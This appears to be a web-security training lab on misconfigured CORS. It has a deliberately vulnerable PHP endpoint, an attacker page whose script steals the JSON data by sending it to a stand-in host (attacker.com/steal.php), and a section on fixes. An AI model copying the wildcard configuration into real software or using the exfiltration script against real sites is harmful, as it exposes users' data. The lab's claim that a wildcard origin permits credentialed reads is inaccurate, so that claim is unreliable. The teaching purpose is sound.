Network

Web Apps

System

Cloud

Cryptography

IoT

Exercise 36: Insufficient Security Configuration (Misconfigured CORS)

by | Apr 21, 2025 | 0 comments

Objective

Learn how to exploit Misconfigured Cross-Origin Resource Sharing (CORS) headers to bypass the Same-Origin Policy and steal sensitive data. Understand how to mitigate this vulnerability by implementing secure CORS configurations.


Scenario

You are testing a web application that exposes sensitive data through an API endpoint. Due to a misconfigured CORS policy (e.g., Access-Control-Allow-Origin: *), an attacker can craft malicious web pages to send authenticated requests to the vulnerable server and steal sensitive data from legitimate users.


Lab Setup

Prerequisites:

  • Basic knowledge of JavaScript, HTTP requests, and CORS.
  • XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
  • A code editor (e.g., VSCode, Sublime Text).

Step 1: Create the Vulnerable Web Application

  1. PHP Script with Misconfigured CORS
    • Create a file data.php: <?php header("Access-Control-Allow-Origin: *"); header("Content-Type: application/json"); $data = [ "username" => "alice", "email" => "[email protected]", "balance" => 5000 ]; echo json_encode($data); ?>
  2. Running the Application
    • Start the Apache server.
    • Place data.php in the web server’s root directory (htdocs for XAMPP).
    • Open http://localhost/data.php in your browser to verify the JSON response.
  3. Attacker’s Malicious Web Page
    • Create a file malicious.html to simulate an attack: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Malicious Page</title> </head> <body> <h2>Loading... Please wait</h2> <script> fetch('http://localhost/data.php', { credentials: 'include' }) .then(response => response.json()) .then(data => { fetch('http://attacker.com/steal.php?data=' + JSON.stringify(data)); }); </script> </body> </html>

Exploitation Steps

Step 1: Exploiting Misconfigured CORS

  1. Open malicious.html in the attacker’s domain or locally.
  2. The malicious script sends a cross-origin request to http://localhost/data.php.
  3. The browser allows the request because of the wildcard CORS policy (Access-Control-Allow-Origin: *).
  4. The sensitive data is sent to the attacker’s server (http://attacker.com/steal.php).

Expected Result:

  • The attacker successfully retrieves sensitive user data from the vulnerable server.

Solution and Prevention

Problem Analysis

  • The server allows requests from any origin due to Access-Control-Allow-Origin: *.

Fixing the Vulnerability

  1. Restrict Allowed Origins
    • Specify trusted domains in the CORS header: $allowed_origins = ['https://trustedsite.com']; if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)) { header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}"); } header("Content-Type: application/json");
  2. Avoid Wildcards with Credentials
    • Do not use * when Access-Control-Allow-Credentials: true is set: header("Access-Control-Allow-Credentials: true"); header("Access-Control-Allow-Origin: https://trustedsite.com");
  3. Validate Authentication on Sensitive Endpoints
    • Require authentication tokens or session validation for sensitive data access.
  4. Use Preflight Requests for Sensitive Actions
    • Enforce preflight checks (OPTIONS method) for state-changing requests.
  5. Implement Content Security Policy (CSP)
    • Restrict where scripts can be loaded from: header("Content-Security-Policy: default-src 'self';");

Testing After Fix

  1. Reload malicious.html after applying the fix.
  2. Expected Result:
    • The browser blocks the cross-origin request due to the restricted CORS policy.
    • No data is sent to the attacker.

Conclusion

In this lab, you exploited Misconfigured CORS to perform unauthorized cross-origin requests and steal sensitive data. You also learned how to mitigate this risk by restricting allowed origins, validating authentication, and properly configuring CORS headers.

0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *